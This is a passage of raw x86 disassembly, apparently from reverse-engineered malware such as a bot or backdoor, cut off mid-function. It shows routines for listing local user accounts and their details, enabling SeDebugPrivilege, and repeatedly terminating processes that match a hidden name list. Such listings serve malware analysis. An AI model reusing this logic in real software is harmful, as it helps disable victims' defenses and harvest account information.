push ebx
mov esi, offset dword_4DDBB0
push off_43B678[eax*4]
push offset unk_43BE08
push esi
call sub_41C056
add esp, 18h
jmp short loc_419654
; ---------------------------------------------------------------------------
loc_419634: ; CODE XREF: sub_419590+Dj
mov eax, [ebp+arg_0]
mov esi, offset dword_4DDBB0
lea eax, [eax+eax*2]
push off_43B678[eax*4]
push offset unk_43BDE0
push esi
call sub_41C056
add esp, 0Ch
loc_419654: ; CODE XREF: sub_419590+7Bj
; sub_419590+A2j
mov eax, esi
pop edi
pop esi
pop ebx
pop ebp
retn
sub_419590 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41965B proc near ; CODE XREF: sub_419590+4Cp
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 24h
and [ebp+var_4], 0
push edi
push [ebp+arg_0]
call sub_41940B
push [ebp+arg_4]
mov edi, eax
call sub_41940B
push [ebp+arg_8]
mov [ebp+var_24], eax
call sub_41940B
add esp, 0Ch
and [ebp+var_14], 0
and [ebp+var_10], 0
and [ebp+var_8], 0
lea ecx, [ebp+var_4]
mov [ebp+var_20], eax
xor eax, eax
push ecx
lea ecx, [ebp+var_24]
inc eax
push ecx
push eax
push edi
mov [ebp+var_18], eax
mov [ebp+var_C], 10001h
call dword_4CDB3C
pop edi
leave
retn
sub_41965B endp
; =============== S U B R O U T I N E =======================================
sub_4196B5 proc near ; CODE XREF: sub_419590+39p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_41940B
push [esp+8+arg_4]
mov esi, eax
call sub_41940B
pop ecx
pop ecx
push eax
push esi
call dword_4CDB2C
pop esi
retn
sub_4196B5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4196D6 proc near ; CODE XREF: sub_419590+2Dp
var_204 = byte ptr -204h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 204h
and [ebp+var_4], 0
push esi
push [ebp+arg_0]
call sub_41940B
push [ebp+arg_4]
mov esi, eax
call sub_41940B
pop ecx
pop ecx
lea ecx, [ebp+var_4]
push ecx
push 0Bh
push eax
push esi
call dword_4CDCBC
test eax, eax
mov [ebp+arg_0], eax
jnz loc_419A63
mov eax, [ebp+var_4]
test eax, eax
jz loc_419A9E
push ebx
push edi
push dword ptr [eax]
lea eax, [ebp+var_204]
push offset aAccountS ; "Account: %S"
push eax
call sub_41C056
mov esi, [ebp+arg_10]
mov edi, [ebp+arg_C]
mov ebx, [ebp+arg_8]
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409982
mov eax, [ebp+var_4]
push dword ptr [eax+0Ch]
lea eax, [ebp+var_204]
push offset aFullNameS ; "Full Name: %S"
push eax
call sub_41C056
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409982
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+8]
lea eax, [ebp+var_204]
push offset aUserCommentS ; "User Comment: %S"
push eax
call sub_41C056
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409982
mov eax, [ebp+var_4]
push dword ptr [eax+4]
lea eax, [ebp+var_204]
push offset aCommentS ; "Comment: %S"
push eax
call sub_41C056
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409982
mov eax, [ebp+var_4]
add esp, 40h
mov eax, [eax+10h]
sub eax, 0
jz short loc_4197EF
dec eax
jz short loc_4197E8
dec eax
jz short loc_4197E1
mov eax, offset aUnknown ; "Unknown"
jmp short loc_4197F4
; ---------------------------------------------------------------------------
loc_4197E1: ; CODE XREF: sub_4196D6+102j
mov eax, offset aAdministrator ; "Administrator"
jmp short loc_4197F4
; ---------------------------------------------------------------------------
loc_4197E8: ; CODE XREF: sub_4196D6+FFj
mov eax, offset aUser_2 ; "User"
jmp short loc_4197F4
; ---------------------------------------------------------------------------
loc_4197EF: ; CODE XREF: sub_4196D6+FCj
mov eax, offset aGuest ; "Guest"
loc_4197F4: ; CODE XREF: sub_4196D6+109j
; sub_4196D6+110j ...
push eax
lea eax, [ebp+var_204]
push offset aPrivilegeLevel ; "Privilege Level: %s"
push eax
call sub_41C056
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409982
mov eax, [ebp+var_4]
push dword ptr [eax+14h]
lea eax, [ebp+var_204]
push offset aAuthFlagsD ; "Auth Flags: %d"
push eax
call sub_41C056
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409982
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+1Ch]
lea eax, [ebp+var_204]
push offset aHomeDirectoryS ; "Home Directory: %S"
push eax
call sub_41C056
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409982
mov eax, [ebp+var_4]
push dword ptr [eax+20h]
lea eax, [ebp+var_204]
push offset aParametersS ; "Parameters: %S"
push eax
call sub_41C056
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409982
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+18h]
lea eax, [ebp+var_204]
push offset aPasswordAgeD ; "Password Age: %d"
push eax
call sub_41C056
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409982
mov eax, [ebp+var_4]
push dword ptr [eax+2Ch]
lea eax, [ebp+var_204]
push offset aBadPasswordCou ; "Bad Password Count: %d"
push eax
call sub_41C056
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409982
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+30h]
lea eax, [ebp+var_204]
push offset aNumberOfLogins ; "Number of Logins: %d"
push eax
call sub_41C056
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409982
mov eax, [ebp+var_4]
push dword ptr [eax+24h]
lea eax, [ebp+var_204]
push offset aLastLogonD ; "Last Logon: %d"
push eax
call sub_41C056
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409982
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+28h]
lea eax, [ebp+var_204]
push offset aLastLogoffD ; "Last Logoff: %d"
push eax
call sub_41C056
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409982
mov eax, [ebp+var_4]
push dword ptr [eax+34h]
lea eax, [ebp+var_204]
push offset aLogonServerS ; "Logon Server: %S"
push eax
call sub_41C056
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409982
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+3Ch]
lea eax, [ebp+var_204]
push offset aWorkstationsS ; "Workstations: %S"
push eax
call sub_41C056
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409982
mov eax, [ebp+var_4]
push dword ptr [eax+38h]
lea eax, [ebp+var_204]
push offset aCountryCodeD ; "Country Code: %d"
push eax
call sub_41C056
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409982
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+4Ch]
lea eax, [ebp+var_204]
push offset aUserSLanguageD ; "User's Language: %d"
push eax
call sub_41C056
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409982
mov eax, [ebp+var_4]
push dword ptr [eax+40h]
lea eax, [ebp+var_204]
push offset aMax_StorageD ; "Max. Storage: %d"
push eax
call sub_41C056
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409982
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+44h]
lea eax, [ebp+var_204]
push offset aUnitsPerWeekD ; "Units Per Week: %d"
push eax
call sub_41C056
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409982
add esp, 20h
pop edi
pop ebx
jmp short loc_419A8F
; ---------------------------------------------------------------------------
loc_419A63: ; CODE XREF: sub_4196D6+35j
push eax
lea eax, [ebp+var_204]
push offset unk_43BE58
push eax
call sub_41C056
push 0
lea eax, [ebp+var_204]
push [ebp+arg_10]
push eax
push [ebp+arg_C]
push [ebp+arg_8]
call sub_409982
add esp, 20h
loc_419A8F: ; CODE XREF: sub_4196D6+38Bj
cmp [ebp+var_4], 0
jz short loc_419A9E
push [ebp+var_4]
call dword_4CDCF4
loc_419A9E: ; CODE XREF: sub_4196D6+40j
; sub_4196D6+3BDj
mov eax, [ebp+arg_0]
pop esi
leave
retn
sub_4196D6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419AA4 proc near ; CODE XREF: sub_401B66+4644p
var_218 = byte ptr -218h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 218h
push ebx
push esi
push edi
xor esi, esi
push [ebp+arg_C]
mov [ebp+var_4], esi
call sub_41940B
push esi
mov [ebp+var_14], eax
push [ebp+arg_8]
mov [ebp+arg_C], esi
mov [ebp+var_18], esi
mov [ebp+var_10], esi
push offset aUsernameAccoun ; "Username accounts for local system:"
mov [ebp+var_8], esi
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409982
add esp, 18h
loc_419AE3: ; CODE XREF: sub_419AA4+12Bj
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_4]
push 0FFFFFFFFh
push eax
push 2
push esi
push [ebp+var_14]
call dword_4CDBC4
cmp eax, esi
mov [ebp+var_C], eax
jz short loc_419B44
cmp eax, 0EAh
jz short loc_419B44
push eax
push eax
call sub_419C1A
pop ecx
push eax
lea eax, [ebp+var_218]
push offset unk_43C048
push eax
call sub_41C056
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409982
add esp, 24h
jmp short loc_419BB5
; ---------------------------------------------------------------------------
loc_419B44: ; CODE XREF: sub_419AA4+62j
; sub_419AA4+69j
mov edi, [ebp+var_4]
cmp edi, esi
jz short loc_419BC8
xor ebx, ebx
cmp [ebp+arg_C], esi
jbe short loc_419BB5
loc_419B52: ; CODE XREF: sub_419AA4+E9j
cmp edi, esi
lea eax, [ebp+var_218]
jz short loc_419B91
push dword ptr [edi]
push offset aS_6 ; " %S"
push eax
call sub_41C056
push 1
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409982
add esp, 20h
add edi, 4
inc [ebp+var_8]
inc ebx
cmp ebx, [ebp+arg_C]
jb short loc_419B52
jmp short loc_419BB5
; ---------------------------------------------------------------------------
loc_419B91: ; CODE XREF: sub_419AA4+B6j
push offset unk_43C014
push eax
call sub_41C056
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409982
add esp, 1Ch
loc_419BB5: ; CODE XREF: sub_419AA4+9Ej
; sub_419AA4+ACj ...
mov edi, [ebp+var_4]
cmp edi, esi
jz short loc_419BC8
push edi
call dword_4CDCF4
xor edi, edi
mov [ebp+var_4], edi
loc_419BC8: ; CODE XREF: sub_419AA4+A5j
; sub_419AA4+116j
cmp [ebp+var_C], 0EAh
jz loc_419AE3
cmp edi, esi
jz short loc_419BE0
push edi
call dword_4CDCF4
loc_419BE0: ; CODE XREF: sub_419AA4+133j
push [ebp+var_8]
lea eax, [ebp+var_218]
push offset aTotalUsersFoun ; "Total users found: %d."
push eax
call sub_41C056
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409982
add esp, 20h
xor eax, eax
cmp [ebp+var_C], esi
pop edi
pop esi
setz al
pop ebx
leave
retn
sub_419AA4 endp
; =============== S U B R O U T I N E =======================================
sub_419C1A proc near ; CODE XREF: sub_41927A+41p
; sub_41946F+69p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, 858h
cmp eax, ecx
ja loc_419CCC
jz loc_419CC5
cmp eax, 7Bh
ja short loc_419C91
jz short loc_419C87
cmp eax, 5
jz short loc_419C7D
cmp eax, 8
jz short loc_419C73
cmp eax, 32h
jz short loc_419C69
cmp eax, 35h
jz short loc_419C5F
cmp eax, 57h
jnz loc_419D1B
push offset aInvalidParamet ; "Invalid parameter."
jmp loc_419D3C
; ---------------------------------------------------------------------------
loc_419C5F: ; CODE XREF: sub_419C1A+30j
push offset aServerNameNotF ; "Server name not found."
jmp loc_419D3C
; ---------------------------------------------------------------------------
loc_419C69: ; CODE XREF: sub_419C1A+2Bj
push offset aThisNetworkReq ; "This network request is not supported."
jmp loc_419D3C
; ---------------------------------------------------------------------------
loc_419C73: ; CODE XREF: sub_419C1A+26j
push offset aNotEnoughMemor ; "Not enough memory."
jmp loc_419D3C
; ---------------------------------------------------------------------------
loc_419C7D: ; CODE XREF: sub_419C1A+21j
push offset aAccessDenied_ ; "Access denied."
jmp loc_419D3C
; ---------------------------------------------------------------------------
loc_419C87: ; CODE XREF: sub_419C1A+1Cj
push offset aTheNameIsInval ; "The name is invalid."
jmp loc_419D3C
; ---------------------------------------------------------------------------
loc_419C91: ; CODE XREF: sub_419C1A+1Aj
sub eax, 7Ch
jz short loc_419CBE
sub eax, 7C8h
jz short loc_419CB7
dec eax
jz short loc_419CAD
dec eax
jnz short loc_419D1B
push offset aDuplicateShare ; "Duplicate share name."
jmp loc_419D3C
; ---------------------------------------------------------------------------
loc_419CAD: ; CODE XREF: sub_419C1A+84j
push offset aInvalidForRedi ; "Invalid for redirected resource."
jmp loc_419D3C
; ---------------------------------------------------------------------------
loc_419CB7: ; CODE XREF: sub_419C1A+81j
push offset aDeviceOrDirect ; "Device or directory does not exist."
jmp short loc_419D3C
; ---------------------------------------------------------------------------
loc_419CBE: ; CODE XREF: sub_419C1A+7Aj
push offset aLevelParameter ; "Level parameter is invalid."
jmp short loc_419D3C
; ---------------------------------------------------------------------------
loc_419CC5: ; CODE XREF: sub_419C1A+11j
push offset aAGeneralFailur ; "A general failure occurred in the netwo"...
jmp short loc_419D3C
; ---------------------------------------------------------------------------
loc_419CCC: ; CODE XREF: sub_419C1A+Bj
mov ecx, 8C5h
cmp eax, ecx
ja short loc_419D05
jz short loc_419CFE
sub eax, 8ADh
jz short loc_419D30
dec eax
dec eax
jz short loc_419CF7
dec eax
jz short loc_419CF0
dec eax
dec eax
jnz short loc_419D1B
push offset aTheOperationIs ; "The operation is allowed only on the pr"...
jmp short loc_419D3C
; ---------------------------------------------------------------------------
loc_419CF0: ; CODE XREF: sub_419C1A+C9j
push offset aTheUserAccount ; "The user account already exists."
jmp short loc_419D3C
; ---------------------------------------------------------------------------
loc_419CF7: ; CODE XREF: sub_419C1A+C6j
push offset aTheGroupAlread ; "The group already exists."
jmp short loc_419D3C
; ---------------------------------------------------------------------------
loc_419CFE: ; CODE XREF: sub_419C1A+BBj
push offset aThePasswordIsS ; "The password is shorter than required ("...
jmp short loc_419D3C
; ---------------------------------------------------------------------------
loc_419D05: ; CODE XREF: sub_419C1A+B9j
sub eax, 8CAh
jz short loc_419D37
sub eax, 17h
jz short loc_419D30
sub eax, 25h
jz short loc_419D29
sub eax, 29h
jz short loc_419D22
loc_419D1B: ; CODE XREF: sub_419C1A+35j
; sub_419C1A+87j ...
push offset aAnUnknownErr_0 ; "An unknown error occurred."
jmp short loc_419D3C
; ---------------------------------------------------------------------------
loc_419D22: ; CODE XREF: sub_419C1A+FFj
push offset aTheComputerNam ; "The computer name is invalid."
jmp short loc_419D3C
; ---------------------------------------------------------------------------
loc_419D29: ; CODE XREF: sub_419C1A+FAj
push offset aShareNotFound_ ; "Share not found."
jmp short loc_419D3C
; ---------------------------------------------------------------------------
loc_419D30: ; CODE XREF: sub_419C1A+C2j
; sub_419C1A+F5j
push offset aTheUserNameCou ; "The user name could not be found."
jmp short loc_419D3C
; ---------------------------------------------------------------------------
loc_419D37: ; CODE XREF: sub_419C1A+F0j
push offset aNetworkConnect ; "Network connection not found."
loc_419D3C: ; CODE XREF: sub_419C1A+40j
; sub_419C1A+4Aj ...
push offset dword_4DD948
call sub_41C056
pop ecx
mov eax, offset dword_4DD948
pop ecx
retn
sub_419C1A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419D4E proc near ; CODE XREF: sub_401B66+468Ap
var_718 = byte ptr -718h
var_318 = byte ptr -318h
var_108 = byte ptr -108h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 718h
push esi
push 200h
push [ebp+arg_0]
lea eax, [ebp+var_718]
push eax
call sub_41E034
add esp, 0Ch
lea eax, [ebp+arg_0]
mov esi, 108h
push eax
lea eax, [ebp+var_108]
push eax
mov [ebp+arg_0], esi
call dword_4280C0 ; GetComputerNameA
lea eax, [ebp+var_108]
push esi
push eax
lea eax, [ebp+var_318]
push eax
call sub_41E034
lea eax, [ebp+var_718]
push eax
call sub_41E017
add esp, 10h
add eax, eax
push eax
lea eax, [ebp+var_718]
push eax
lea eax, [ebp+var_318]
push 0
push eax
push 0
call dword_4CDC74
test eax, eax
jnz short loc_419DDE
mov esi, offset dword_4DD740
push offset unk_43C384
push esi
call sub_41C056
pop ecx
pop ecx
jmp short loc_419E07
; ---------------------------------------------------------------------------
loc_419DDE: ; CODE XREF: sub_419D4E+7Aj
lea ecx, [ebp+var_718]
push ecx
lea ecx, [ebp+var_318]
push ecx
push eax
call sub_419C1A
pop ecx
mov esi, offset dword_4DD740
push eax
push offset dword_43C358
push esi
call sub_41C056
add esp, 14h
loc_419E07: ; CODE XREF: sub_419D4E+8Ej
mov eax, esi
pop esi
leave
retn
sub_419D4E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419E0C proc near ; CODE XREF: sub_417474+45p
; sub_417474+166p ...
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 14h
lea eax, [ebp+var_4]
push eax
push 28h
call dword_4280FC ; GetCurrentProcess
push eax
call dword_4CDC48 ; OpenProcessToken
test eax, eax
jnz short loc_419E2B
leave
retn
; ---------------------------------------------------------------------------
loc_419E2B: ; CODE XREF: sub_419E0C+1Bj
lea eax, [ebp+var_10]
push esi
push eax
xor esi, esi
push [ebp+arg_0]
push esi
call dword_4CDC20 ; LookupPrivilegeValueA
test eax, eax
jz short loc_419E69
cmp [ebp+arg_4], esi
mov [ebp+var_14], 1
jz short loc_419E52
or [ebp+var_8], 2
jmp short loc_419E56
; ---------------------------------------------------------------------------
loc_419E52: ; CODE XREF: sub_419E0C+3Ej
and [ebp+var_8], 0FFFFFFFDh
loc_419E56: ; CODE XREF: sub_419E0C+44j
push esi
push esi
lea eax, [ebp+var_14]
push esi
push eax
push esi
push [ebp+var_4]
call dword_4CDCD0 ; AdjustTokenPrivileges
mov esi, eax
loc_419E69: ; CODE XREF: sub_419E0C+32j
push [ebp+var_4]
call dword_42806C ; CloseHandle
mov eax, esi
pop esi
leave
retn
sub_419E0C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419E77 proc near ; CODE XREF: sub_401B66+77F4p
; sub_41A09A+74p ...
var_550 = byte ptr -550h
var_350 = dword ptr -350h
var_34C = byte ptr -34Ch
var_230 = byte ptr -230h
var_12C = dword ptr -12Ch
var_128 = byte ptr -128h
var_124 = dword ptr -124h
var_108 = byte ptr -108h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 550h
push ebx
push esi
push edi
push 49h
xor ebx, ebx
pop ecx
xor eax, eax
cmp dword_4CDC84, ebx
lea edi, [ebp+var_128]
mov [ebp+var_12C], ebx
rep stosd
mov ecx, 88h
lea edi, [ebp+var_34C]
mov [ebp+var_350], ebx
rep stosd
jz loc_41A066
cmp dword_4CDC68, ebx
jz loc_41A066
cmp dword_4CDB78, ebx
jz loc_41A066
push 1
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_419E0C
pop ecx
pop ecx
push ebx
push 0Fh
call dword_4CDC84 ; CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_4], edi
jz loc_41A059
lea eax, [ebp+var_12C]
mov [ebp+var_12C], 128h
push eax
push edi
call dword_4CDC68 ; Process32First
mov esi, dword_42806C
test eax, eax
jz loc_41A054
lea eax, [ebp+var_12C]
push eax
push edi
call dword_4CDB78 ; Process32Next
test eax, eax
jz loc_41A054
mov ebx, dword_428084
loc_419F36: ; CODE XREF: sub_419E77+1D5j
xor edi, edi
cmp [ebp+arg_10], edi
jz short loc_419F93
loc_419F3D: ; CODE XREF: sub_419E77+E3j
push off_43C3B8[edi]
lea eax, [ebp+var_108]
push eax
call dword_428188 ; lstrcmpiA
test eax, eax
jz short loc_419F61
add edi, 4
cmp edi, 60h
jb short loc_419F3D
jmp loc_41A03A
; ---------------------------------------------------------------------------
loc_419F61: ; CODE XREF: sub_419E77+DBj
push [ebp+var_124]
push 0
push 1F0FFFh
call ebx ; OpenProcess
mov edi, eax
test edi, edi
jz loc_41A03A
push 0
push edi
call dword_4280F4 ; TerminateProcess
test eax, eax
jnz loc_41A03A
loc_419F8B: ; CODE XREF: sub_419E77+1A9j
push edi
call esi ; CloseHandle
jmp loc_41A03A
; ---------------------------------------------------------------------------
loc_419F93: ; CODE XREF: sub_419E77+C4j
cmp [ebp+arg_C], edi
jnz loc_41A025
cmp [ebp+arg_4], edi
jz loc_41A03A
push [ebp+var_124]
push 8
call dword_4CDC84 ; CreateToolhelp32Snapshot
cmp [ebp+arg_14], 0
mov edi, eax
mov [ebp+var_350], 224h
jz short loc_419FE5
lea eax, [ebp+var_350]
push eax
push edi
call dword_4CDB24 ; Module32First
push [ebp+var_124]
test eax, eax
jz short loc_419FEB
lea eax, [ebp+var_230]
jmp short loc_419FF1
; ---------------------------------------------------------------------------
loc_419FE5: ; CODE XREF: sub_419E77+14Cj
push [ebp+var_124]
loc_419FEB: ; CODE XREF: sub_419E77+164j
lea eax, [ebp+var_108]
loc_419FF1: ; CODE XREF: sub_419E77+16Cj
push eax
lea eax, [ebp+var_550]
push offset aSD_0 ; " %s (%d)"
push eax
call sub_41C056
add esp, 10h
lea eax, [ebp+var_550]
push 1
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409982
add esp, 14h
jmp loc_419F8B
; ---------------------------------------------------------------------------
loc_41A025: ; CODE XREF: sub_419E77+11Fj
push [ebp+arg_C]
lea eax, [ebp+var_108]
push eax
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz short loc_41A06D
loc_41A03A: ; CODE XREF: sub_419E77+E5j
; sub_419E77+FDj ...
lea eax, [ebp+var_12C]
push eax
push [ebp+var_4]
call dword_4CDB78 ; Process32Next
test eax, eax
jnz loc_419F36
xor ebx, ebx
loc_41A054: ; CODE XREF: sub_419E77+9Dj
; sub_419E77+B3j
push [ebp+var_4]
call esi ; CloseHandle
loc_41A059: ; CODE XREF: sub_419E77+77j
push ebx
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_419E0C
pop ecx
pop ecx
loc_41A066: ; CODE XREF: sub_419E77+3Aj
; sub_419E77+46j ...
xor eax, eax
loc_41A068: ; CODE XREF: sub_419E77+221j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41A06D: ; CODE XREF: sub_419E77+1C1j
push [ebp+var_124]
push 0
push 1F0FFFh
call ebx ; OpenProcess
push [ebp+var_4]
mov edi, eax
call esi ; CloseHandle
push 0
push edi
call dword_4280F4 ; TerminateProcess
test eax, eax
jnz short loc_41A095
push edi
call esi ; CloseHandle
jmp short loc_41A066
; ---------------------------------------------------------------------------
loc_41A095: ; CODE XREF: sub_419E77+217j
xor eax, eax
inc eax
jmp short loc_41A068
sub_419E77 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A09A proc near ; DATA XREF: sub_401B66+263Do
var_298 = byte ptr -298h
var_98 = dword ptr -98h
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 298h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
push offset unk_43C5B8
rep movsd
mov dword ptr [eax+94h], 1
lea eax, [ebp+var_298]
push eax
call sub_41C056
xor esi, esi
pop ecx
cmp [ebp+var_8], esi
pop ecx
jnz short loc_41A0F9
push esi
lea eax, [ebp+var_298]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push [ebp+var_98]
call sub_409982
add esp, 14h
loc_41A0F9: ; CODE XREF: sub_41A09A+3Dj
push [ebp+var_10]
lea eax, [ebp+var_94]
push esi
push esi
push [ebp+var_C]
push eax
push [ebp+var_98]
call sub_419E77
add esp, 18h
test eax, eax
lea eax, [ebp+var_298]
jnz short loc_41A127
push offset unk_43C594
jmp short loc_41A12C
; ---------------------------------------------------------------------------
loc_41A127: ; CODE XREF: sub_41A09A+84j
push offset unk_43C570
loc_41A12C: ; CODE XREF: sub_41A09A+8Bj
push eax
call sub_41C056
cmp [ebp+var_8], esi
pop ecx
pop ecx
jnz short loc_41A159
push esi
lea eax, [ebp+var_298]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push [ebp+var_98]
call sub_409982
add esp, 14h
loc_41A159: ; CODE XREF: sub_41A09A+9Dj
lea eax, [ebp+var_298]
push eax
call sub_4157A5
push [ebp+var_14]
call sub_40B2A3
pop ecx
pop ecx
push esi
call dword_4280CC ; ExitThread
pop edi
pop esi
sub_41A09A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41A178 proc near ; CODE XREF: sub_401B66+7792p
; sub_40B0C8+4Dp
arg_0 = dword ptr 4
push esi
push edi
push [esp+8+arg_0]
xor edi, edi
inc edi
push 0
push 1F0FFFh
call dword_428084 ; OpenProcess
mov esi, eax
test esi, esi
jz short loc_41A1AA
push 0
push esi
call dword_4280F4 ; TerminateProcess
test eax, eax
jnz short loc_41A1AA
push esi
xor edi, edi
call dword_42806C ; CloseHandle
loc_41A1AA: ; CODE XREF: sub_41A178+1Aj
; sub_41A178+27j
mov eax, edi
pop edi
pop esi
retn
sub_41A178 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_41A1AF proc near ; DATA XREF: sub_401252+3BBo
push esi
xor esi, esi
loc_41A1B2: ; CODE XREF: sub_41A1AF+1Ej
push 1
push esi
push esi
push esi
push esi
push esi
call sub_419E77
add esp, 18h
push dword_43C3B0
call dword_428064 ; Sleep
jmp short loc_41A1B2
sub_41A1AF endp
; =============== S U B R O U T I N E =======================================
sub_41A1CF proc near ; CODE XREF: sub_41A1FF+2Ap
; sub_41A237+7Ep ...
mov eax, dword_4DDFB4
push esi
mov esi, dword_42806C
cmp eax, 0FFFFFFFFh
jz short loc_41A1E3
push eax
call esi ; CloseHandle
loc_41A1E3: ; CODE XREF: sub_41A1CF+Fj
mov eax, dword_4DDFBC
cmp eax, 0FFFFFFFFh
jz short loc_41A1F0
push eax
call esi ; CloseHandle
loc_41A1F0: ; CODE XREF: sub_41A1CF+1Cj
mov eax, dword_4DDFB0
cmp eax, 0FFFFFFFFh
jz short loc_41A1FD
push eax
call esi ; CloseHandle
loc_41A1FD: ; CODE XREF: sub_41A1CF+29j
pop esi
retn
sub_41A1CF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A1FF proc near ; CODE XREF: sub_401B66+74CCp
; sub_4161D7+14Ap
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push [ebp+arg_0]
call sub_41B7B0
pop ecx
mov [ebp+var_4], eax
lea ecx, [ebp+var_4]
push 0
push ecx
push eax
push [ebp+arg_0]
push dword_4DDFB8
call dword_4280E0 ; WriteFile
test eax, eax
jnz short loc_41A232
call sub_41A1CF
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_41A232: ; CODE XREF: sub_41A1FF+28j
xor eax, eax
inc eax
leave
retn
sub_41A1FF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A237 proc near ; CODE XREF: sub_41A2BE+D3p
; sub_41A2BE+F2p ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push offset byte_43FE14
push [ebp+arg_4]
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz short loc_41A27A
push 7D0h
call dword_428064 ; Sleep
push [ebp+arg_8]
lea eax, [ebp+var_200]
push [ebp+arg_4]
